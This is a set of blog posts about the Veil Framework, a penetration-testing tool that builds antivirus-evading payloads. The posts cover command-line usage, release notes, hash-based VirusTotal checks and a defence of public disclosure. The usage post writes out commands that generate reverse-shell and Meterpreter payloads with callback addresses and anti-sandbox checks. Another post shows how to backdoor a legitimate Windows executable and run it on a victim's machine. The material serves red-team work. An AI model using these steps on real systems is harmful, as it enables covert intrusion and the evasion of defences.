Tag: Veil

Veil 3.0 Command Line Usage

Most Veil users will utilize Veil’s interactive menu to generate shellcode and/or Veil payloads. However, I expect while only a minority of users take advantage of the command line options, that they do so quite heavily. Therefore, I wanted to ensure that a command line interface exists for Veil in the event the user wants to script its usage (or for any other means). With Veil’s 3.0 release, some of the options are the same, but a few more command line options have been introduced to the tool, which I hope to explain here.

Ordnance

I’ll address how to use Ordnance within Veil all from the command line, this should (ideally) be fairly straightforward. In case you haven’t used Ordnance before, it is a tool that is used to quickly generate shellcode for a variety of payloads vs. relying on msfvenom to generate the shellcode for you.

./Veil.py -t Ordnance --list-payloads

This command tells Veil to list all payloads (–list-payloads) for the tool Ordnance (-t Ordnance).

./Veil.py -t Ordnance --list-encoders

This command tells Veil to list all encoders (–list-encoders) for the tool Ordnance (-t Ordnance).

./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

This command specifies to use Ordnance (-t Ordnance) and generate a reverse tcp payload (–ordnance-payload rev_tcp) which connects back to the ip 192.168.1.20 (–ip 192.168.1.20) on port 1234 (–port 1234).

./Veil.py -t Ordnance --ordnance-payload rev_http --ip 192.168.1.21 --port 1235 -e xor -b \\x13\\x98

This command specifies to use Ordnance (-t Ordnance) and generates a reverse http payload which connects back to the ip 192.168.1.21 (–ip 192.168.1.21) on port 1235 (–port 1235). The command then further specifies that an xor encoder should be applied (-e xor) and the bad characters \x13\x98 should be avoided (-b \\x13\\x98).

Evasion

Let’s go over a couple commands and I’ll explain their components:

./Veil.py -t Evasion --list-payloads

This command tells Veil to list all payloads (–list-payloads) for the tool Evasion (-t Evasion).

./Veil.py -t Evasion -p 33 --ordnance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o christest

This command will actually generate an executable payload. It specifies that Evasion’s (-t Evasion) payload number 33 (-p 33) is selected by the user. For shellcode generation, use Ordnance’s rev_tcp payload (–ordnance-payload rev_tcp), and set the callback ip to 192.168.1.3 (–ip 192.168.1.3) and callback port to 8675 (–port 8675). Finally, name the output file christest (-o christest).

The main thing to note with this command is that it is using Ordnance for shellcode generation.

./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

This command is fairly similar to the above command, but relies on msfvenom for generating shellcode. The command states to use Evasion’s (-t Evasion) payload number 41 (-p 41) and to generate windows/meterpreter/reverse_tcp shellcode via msfvenom with the callback IP set to 192.168.1.4 (–ip 192.168.1.4) and callback port set to 8675 (–port 8675). Finally, it names the output file chris (-o chris).

Now, what if you want to specify some of the required options for a payload? Here’s your answer!

./Veil.py -t Evasion -p 34 --ordnance-payload rev_tcp --ip 192.168.1.5 --port 8677 -o chrisout -c hostname=thegrid processors=2

This command specifies to use Evasion’s (-t Evasion) payload number 34 (-p 34) and have ordnance generate a reverse tcp payload (–ordnance-payload rev_tcp) with a callback IP set to 192.168.1.5 (–ip 192.168.1.5) with a callback port of 8677 (–port 8677). The output file is named chrisout (-o chrisout), and two checks are being specified. The payload will explicitly check to make sure the hostname of the system the payload is running on is “thegrid” (-c hostname=thegrid) and that there are at least two (2) processors on the system (processors=2). Yes, there is a space between hostname=thegrid and processors=2.

If you only wanted to check for the hostname, you would remove the processors=2 from the -c command (the command would now look like -c hostname=thegrid). Embedding basic checks, such as these, within your payload(s) can be useful when attempting to enumerate and avoid sandboxes.

./Veil.py --clean

Ideally, this one is self-explanatory. If you’ve created multiple payloads and just want to remove all the compiled output, source code, handler files, and tracked hashes, run this command and Veil will remove everything.

Hopefully this helps to explain Veil’s command line interface. However, if you have any questions, please don’t hesitate to reach out over twitter (@VeilFramework or @ChrisTruncer) and I’ll be happy to answer any questions. If you encounter any bugs, feel free to create a Github issue!

Posted on by Christopher Truncer 0

Veil 3.0 Release

The Veil Framework is a collection of tools designed for use during offensive security testing. When the time calls for it, FortyNorth Security will use the Veil-Framework to help achieve their objective.  The most commonly used tool is Veil-Evasion, which can turn an arbitrary script or piece of shellcode into a Windows executable that will evade detections by common antivirus products.

Veil 2.0 was made publicly available on June 17, 2013, and the core framework has remained largely unchanged since that date. There have been some modifications to the framework itself, but these have generally been minor in nature, with the majority of modifications involving the support of new programming languages and new payload modules.\

After spending a few years developing in Python, I revisited the Veil codebase and identified parts of the backend framework that could be developed more efficiently. Six months later, after refactoring the codebase and adding a large number of updates, I am happy to present Veil 3.0. The main menu is shown in Figure 1.

Figure 1: Veil 3 main menu

Python 3

First and foremost, one of the largest overhauls to Veil was updating the version of Python from Python 2 to Python 3. Python 2 is scheduled to reach end-of-life (EOL) in 2020, so it did not make much sense to spend time performing a large update to Veil in a language that will no longer be supported in three years.

Updating Veil from Python 2 to Python 3 was easily the most time-consuming part of creating Veil 3. Running the 2to3 tool was not an option; the conversion process required manual review for essentially all changes to Veil.

One of the major differences when developing Veil in Python 3 vs. Python 2 is how shellcode is handled and modified. To illustrates this issue, Figure 2 shows a Python 2-based stager that includes encrypted shellcode to be decrypted at runtime.

Figure 2: AES decrypting stager from Veil 2 in Python 2

While the code in Figure 2 works in Python 2, it will not work in Python 3. Specifically, in Python 3, the shellcode no longer needs to be string escaped into a bytearray after decryption. The output of Python 3’s decryption is the original clear text data in a bytearray, which is immediately consumable by the rest of the script. Figure 3 shows the Python 3 version of the same decryption stager.

Figure 3: AES decrypting stager from Veil 3 in Python 3

Ordnance

Early versions of Veil relied on the Metasploit Framework’s msfvenom tool to generate shellcode for Veil payloads. After the initial release of Veil, however, this caused a problem. The output for msfvenom changed and it completely broke Veil’s ability to process msfvenom output. After providing a patch to fix the issue, the Veil team decided that a different solution would be required instead of relying on a tool outside of our control.

Thus, Veil-Ordnance was developed and released in 2015. Veil-Ordnance is a tool that generates shellcode for use in Veil-Evasion stagers. Developing Veil-Ordnance had two main benefits:

  1. The Veil development team is in control of the output, preventing any future compatibility issues with Veil-Evasion.
  2. Shellcode generation is faster with Veil-Ordnance.

Previously, Veil-Evasion and Veil-Ordnance were two separate tools. With the release of Veil 3.0, that is no longer the case, as shown in Figure 4.

Figure 4: Ordnance included in Veil 3.0

Veil 3.0 users still have the ability to use msfvenom to generate their shellcode, but they now also have the option to use Ordnance. Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listen on. Ordnance supports the most popular payload types:

  1. Reverse TCP
  2. Reverse HTTP
  3. Reverse HTTPS
  4. Reverse TCP DNS
  5. Reverse TCP All Ports
  6. Bind TCP

This gives Veil users multiple options to choose from – they can stick with msfvenom, or use the new built-in tool, Ordnance.

Additional Languages

While Veil itself is written in Python, the processed payloads and output files can be in other programming languages. In Veil 3.0, two additional languages are now supported:

  • AutoIt3
  • Lua

Lua payloads are only supported in a script format that must be compiled and run using a lua runtime, but Veil 3.0 running on Linux can compile AutoIt3 scripts into Windows executables. Veil 3.0 also supports the seven languages previously supported in version 2.0:

  • Python
  • PowerShell
  • C
  • C#
  • Perl
  • Ruby
  • Golang
Environmental Detection

Another new feature in Veil 3.0 is the ability to check information about the system where the Veil payload is running. This feature is useful for ensuring that shellcode is only executed on target systems and during the engagement timeframe. The stager performs these checks and will only inject and execute the embedded shellcode if the specified conditions are met. Figure 5 shows the options for this feature.

Figure 5: Environmental detection options

Users can specify one or more of the following checks for Veil stagers:

  • The domain that the victim machine must be joined to.
  • A date that the payload expires on.
  • The hostname of the system running the payload.
  • The minimum number of processors on the system running the payload.
  • The required username running the payload.

If specifying more than one check, all checks must be met; otherwise the stager will cease execution without executing the shellcode.

This covers the major updates with Veil 3.0’s release. If you have any questions, or encounter an issue, please visit Veil’s Github repository. I hope that Veil can help further your assessments in the same way that it has helped us.

Posted on by Christopher Truncer 0

Honor Amongst Thieves – Building Trust in Veil-Evasion Payloads

Anytime that a professional pen tester, or red teamer, uses a tool on an assessment, your customer is trusting you to not introduce additional vulnerabilities into their network.  When you create a backdoor through Veil-Evasion, or any other payload generator, you need to be sure that the payload you are creating connects back to you and only you.  So how can you ensure that the payloads generated by Veil-Evasion only connects to where it is explicitly specified to connect to?  One way would be to perform a complete source code review of Veil-Evasion and perform an environmental analysis of the generated payload.  This method would provide the highest level of assurance.

There is also another way.  There are a number of scripts that can be used to extract the Python source code from a PyInstaller executable.  One such script is called PyInstaller Extractor and written by extremecoders.  This script will extract all files within the PyInstaller executable, including the Python source code.  We can then compare the extracted Python source code with the source code file that’s created alongside of the PyInstaller executable when using Veil-Evasion.  The two Python source code files will match up and prove that there is not any additional code added inside the “compiled” payload, thus the original source code output can be reviewed and trusted as being the actual source code in the resulting payload.  Ironically, as long as the original source code is reviewed and understood to be non-malicious, then you can trust Veil-Evasion payloads.  So, let’s get along with proving this!

Note: This article only discusses PyInstaller payloads.

First, download the PyInstaller Extractor script and place it in the same directory as your Python payload.  Call the PyInstaller Extractor script and pass the Veil-Evasion payload in as the script’s only option.  The script will now extract the files from the PyInstaller executable.  When you ls you should see the different files that were contained within the payload.

Extracted Payload

In this case, since the payload we are looking at was named veilpayload.exe, the extracted file we are looking for is therefore veilpayload.  The veilpayload file contains the Python code that is carried out when running the original executable.  Now, lets perform a comparison of the source code output from Veil-Evasion, and the extracted source code.

Original Source Code

 Original Source Code Output from Veil-Evasion

Extracted Python Code

Extracted Source Code from Veil-Evasion Payload

Performing a quick visual check against the two scripts shows that they are virtually identical outside of small formatting differences and the additional null byte at the end of the extracted source code.  Performing a diff of the two files also verifies this information.

Scripts diffed

In retrospect, this probably should have been among the first few published posts since Veil-Evasion’s initial release.  However, hindsight is always 20/20, so we’re happy we’re able to provide some level of assurance that your Veil-Evasion payloads aren’t backdoored in any way.  Please feel free to follow the steps outlined in this blog post to verify for yourself.  If you have any additional questions, feel free to hit us up on Twitter, Github, E-mail, or on Freenode in #veil!

Posted on by Christopher Truncer 1

The State of the Veil-Framework

Today, 1 year ago, Veil was publicly released, and it’s humbling to look at how far we’ve come since then.

When we initially released Veil, it was a single flat 538-line file that only contained 7 different payloads. Thanks to the hard work of @harmj0y and @themightyshiv, Veil was expanded into a fully functional framework with significantly expanded capabilities, and the AV-evasion component was renamed Veil-Evasion. With the release of Veil-Catapult and Veil-PowerView, we’ve started looking beyond just the problem of antivirus towards other offensive areas. Our continuing goal with the Veil-Framework is to maintain an open-source toolkit that spans particular gap areas we’ve encountered.

Veil-Evasion originally supported only three different payload shellcode-injection options, Meterpreter’s reverse_tcp, reverse_http, and reverse_https payloads. As of Veil-Evasion 2.0, all Windows payloads from the Metasploit tree are now loaded and available for use within any */shellcode_inject/* payload. Our payload releases then moved beyond just shellcode injectors with the release of native Meterpreter tcp and http[s] stagers, and we soon started a continual payload release cycle name VDay. We’ve debated disclosure, introduced some auxiliary modules, released a Python obfuscator named Pyherion, and recently integrated a generator for obfuscated Pyinstaller loaders named Pwnstaller. We showed you how to easily check if your payloads have been submitted to Virustotal, integrated Veil-Evasion with Cortana, and got a proper logo. Along the way we’ve had the honor of presenting at Shmooon, CarolinaCon, and soon Defcon. Oh, and we just got our own McAfee signature :)

mcafee_signature

The framework structure now allows anyone to expand or modify the existing codebase. New payload generation modules (public or private) can be dropped into an appropriate language folder and will be automatically loaded up by the framework. We have a lot of existing functionality you can draw on for development of private payload modules, a template located in the tree at ./modules/payloads/template.py, and a tutorial on payload development posted here.

So, we’re a year in now, but where do we go from here? We have a couple of goals we hope to achieve:

  • Port msfvenom to Python – We use MSF’s msfvenom for shellcode generation in the shellcode_inject modules when code isn’t supplied by the user. Being dependent on a third party tool can cause occasional issues, e.g. when the output of msfvenom was modified and a variety of our payloads would crash on execution. Porting msfvenom to Python will allow us to have complete control of the output, and any changes to the tool would be controlled by the Veil Development team, allowing us to account for the changes within the framework.
  • Research – We have a reasonable chunk of private research that’s been feeding our VDay releases. We currently have enough to continue VDay into next year, with some cool stuff hitting in the next few months. We’re keeping on our research efforts and hope to be releasing for a while :)
  • New tool development – We keep building tools to span whatever gap areas we see. The newest tool in development by @harmj0y is a post-exploitation framework named Veil-Pillage, and will be presented on at Defcon.

All that’s really left to say is thanks. We started off creating this project for our own use, but we soon realized we should try to give something back to the industry by making Veil publicly available. The community uptake and use of Veil has been nothing but humbling for all of us. Never did we expect so many people to hear of and use Veil, let alone have it be added to Kali Linux. There have been blog posts, how-to videos, and more developed by the community which showcase the framework and talk about how it’s been successfully used. For all the kind words and support, we thank you.

As always, if anyone ever has any questions on framework modifications, ideas for techniques or modules, or just wants to bounce offensive ideas off of someone, please feel free to get in touch with us. These tools are something we’re genuinely passionate about, and we love talking about new techniques, ways to get better, or simply helping others. We’re just a quick forum post, e-mail, tweet, or IRC message away (#veil on Freenode!).

Thanks for a great first year, and we hope to have many more. Don’t get caught!

#avlol

 

Posted on by Christopher Truncer 1

Feb 15th V-Day Release

For our V-Day this month, we have created a new “type” of add-on to Veil-Evasion.  We are releasing two auxiliary modules this month based off of feedback we’ve heard from the community.  The modules are:

  • War file wrapper
  • Python “compiler”

To go into a little more detail, we’ve been asked multiple times if Veil is able to create a .war payload.  As of yesterday, this functionality was not in Veil-Evasion.  If users wanted to create a .war payload, they had to perform the process themselves manually.  However, with the inclusion of the War file wrapper, this doesn’t need to be done manually anymore.  You can simply invoke the war wrapper like you would any other Veil-Evasion payload.  However, the only option it needs is the path to an executable.  Once you “generate” your payload, you will now have a .war file of the executable file you provided.

WarFile

The python “compiler” is something that resulted out of the large number of tests we run when trying to make a payload.  We would always have to look up the exact command to convert any python script we were currently working on into a Windows executable.  Well, we decided it would be easier to just automate this process too.  So the pyinstaller wrapper will take any python script as its required option, and “compile” it into an executable.

Pyinstaller wrapper

Thanks for using the Veil-Framework, please keep giving us a feedback, we do listen, and if you have any questions, just ask in our forums!

Posted on by Christopher Truncer 0

How to Safely Check Veil Payloads Against VirusTotal

In hindsight, this post is probably one of the first ones that we should have written, but better late then never.

As many of you know, we heavily state on our website, within Veil, and within the license, that you should not be submitting your payloads to VirusTotal, or any online virus scanner. We still heavily believe in this, and if you want the best chance to not get caught, just don’t do it.

With that said, there’s another option. In case no one has used it before, Rob Fuller (@mubix) created a great tool called VT-Notify. VT-Notify works by sending a SHA1 hash of a binary to VirusTotal through its API. The key thing to note here is that your payload is not uploaded to VirusTotal, simply its SHA1 hash. VirusTotal then uses the SHA1 hash against its AV solutions, and let’s you know if any of the SHA1 hashes have been flagged/detected by any of the antivirus solutions it has available. Again, while we still think it’s best to not submit any information anywhere, this is the best solution for checking to see if your payloads have been flagged.

First, in case you haven’t noticed, Veil is now creating a list within the ~/veil-output/ directory called hashes.txt.

Hashestxt

This file contains the SHA1 hashes of all payloads you’ve created, along with their name. This is what VT-Notify will use when interacting with VirusTotal.

VT-Notify has been added to Veil in two different areas, and can be accessed either way. To use it within Veil’s menu, simply start Veil, and then at the main menu you should see the new option. This is for a quick single check. Simply call the command “checkvt”, and you should see the following output if all your payloads are “clean”.

Checktvclean

Now, if one of your payloads have been flagged, you should see something similar to the following.

Checkvtcaught

This essentially concludes how to use it within Veil’s menu system. You also can use the tool, like normal with all its command line options from the command line. To to this, just simply browse to its location at /path/to/veil/tools/vt-notify/ and call it from within that directory.

Vtnotify

If anyone has any questions, feel free to hit us up in our forums! Thanks!

Posted on by Christopher Truncer 1

Veil-Evasion 2.3.0 – More Stagers

Time for our December V-Day. Veil-Evasion 2.3.0 has been pushed to the master branch and we’d like to let you know exactly what’s changed:

  • New Payloads – meterpreter/reverse_tcp stagers for C# and Python have been released under cs/meterpreter/rev_tcp and python/meterpreter/rev_tcp. These function similarly to the C stagers released on our last V-Day.
  • C# obfuscation –  People may have noticed that our C# payloads look surprisingly similar on each generation: this is because our first approach was a simple template that we substituted connection options into. All C# payloads now implement basic variable and method obfuscation in an attempt to generate slightly dissimilar payload “families”. More advanced obfuscation will be implemented in upcoming releases.
  • Python self-expiring payloads – Python payloads now have an expiration option; this will be covered in more detail in an upcoming post.
  • Payload hash record – the SHA-1 hash of every generated payload executable is now kept in ~/veil-output/hashes.txt. An upcoming post will show how to put this to use.
  • Payload reorganization – The way payloads are organized has been changed. The general structure is now [language]/[method]/[payload]. ‘Method’ at this point consists of “meterpreter” for Meterpreter stagers, and “shellcode_inject” for the various shellcode injection methods. List on the main menu will show you the structure, or you can browse it directly at ./modules/payloads/*
  • Command line options changed – Along with the payload reorganization, the “-l” command line option has been eliminated and “-p” now takes the entire payload name, i.e. “-p python/meterpreter/rev_tcp”. ./Veil.py -p will list all available payloads if a specific one isn’t specified. Also, new options have been introduced, “–overwrite”, which will overwrite existing source/compiled payload files if they exist, and “–clean” which will clean out payload folders.
  • Backend Changes –  the main class for the payload modules is now “Payload” instead of “Stager”. Additionally, “crypters.py” has been absorbed into “encryption.py” and “randomizer.py” has been absored into “helpers.py”. Check out ./modules/payloads/template.py for proper usage. Our previous tutorials and posts have been updated to reflect the changes.

We shoot to preserve as much backwards compatibility as possible, but occasionally backend changes do need to be made in the framework. Our goal is to make these types of modifications as rarely as possible, and to give everyone a heads up for major interface and framework tweaks. With these consolidated changes, usability should hopefully stay uniform for at least the next year.

 

Posted on by Harm J0y 1

How to Customize Backdoor Factory Payloads within Veil

We were lucky enough to be able to include The Backdoor Factory by Joshua Pitts in our October 2013 V-day.  It’s a great tool and we’re really happy to have been able to work with Josh to include the Backdoor Factory within Veil as an option.  As it is currently implemented, the Backdoor Factory payload will backdoor the psinfo.exe executable that comes with Veil.  So this leads to the question, how do you change the executable that is backdoored?  That’s what this tutorial is set out to show you.

First, the you’ll need to select the executable you want to backdoor.  In this instance, we chose the Microsoft tool Process Explorer.  One thing to note when choosing the executable to backdoor, ensure that it’s not UPX packed.  Also, in our current implementation of the Backdoor Factory payloads, we’re primarily focused on x32 binaries.  Full support for x64 binaries within Veil will come in a future update.

Now that we have our executable, you want to copy it into the “tools/backdoor” directory within the Veil folder structure as shown below.  Or, your other option will be to provide the full path to your executable for the orig_exe option (as shown in this video).

bdffolder

Now that our binary is in the correct location, we can start Veil.  When listing the available payloads, use the “native/BackdoorFactory” payload.  Now, we need to set our required option.  Go ahead and define the LHOST and LPORT options to correspond with your handler.  Now, we need change the “orig_exe” option.  In this case, change the exe and have set to the new executable, in this case, “procexp.exe” (if you didn’t place your executable in the tools/backdoor directory, provide the full path to the executable you want to backdoor).

setorig_exe

We can always verify that our options are correctly set by typing the “info” command.

generatebdf

Now that we’ve confirmed we’re all set, go ahead and give Veil the “generate” command.  Veil will invoke the Backdoor Factory payload and use the process explorer executable.  Once the backdoored executable has been generated, you should see Veil’s familiar output screen.

procbackdoored

Now, simply move the backdoored executable onto your victim’s machine and run it.  You will still see the executable run normally, except we now also receive a callback!

backdooredproccallback

And that is how you change the program that is backdoored within Veil.  If you have any questions, just let us know!

 

 

Posted on by Christopher Truncer 7

On Disclosure

Most pentest firms have their own methods of antivirus evasion, and most firms tend to keep these close to the chest to maximize the window of effectiveness. It should come as no surprise to anyone that Veil’s codebase was kept private for several months, until a series of internal debates led us to release the project. We ultimately agreed that sharing information with the public community was the best course of action.

Some people have argued against sharing of these kinds of techniques. We fundamentally disagree, and feel that public information sharing is a good thing. Think of how much further along we all are because of the Metasploit project; think of the improved defenses we have because people have publicly shared exploit techniques; think of how much more effective our industry has become at emulating true threats after sharing awesome techniques at major conferences. To channel HD Moore, “In this case, like many others, the bad guys already won.” The best defense is information, and as a community it’s in our best interest to share these techniques and promote progress.

On the flip side of the coin, we’re giving this effort to the community with the full knowledge that it will likely diminish the effective window of these techniques that we ourselves use on assessments. We say, bring it on- we’re trying to push things forward, and we hope that others will join the fight for the good of the community. Our primary goal is to help penetration testers more effectively simulate threats by minimizing the time spent on getting around particular antivirus solutions. And we have enough exciting stuff to release over the next year that we hope AV won’t be a problem anytime soon.

Posted on by Harm J0y 1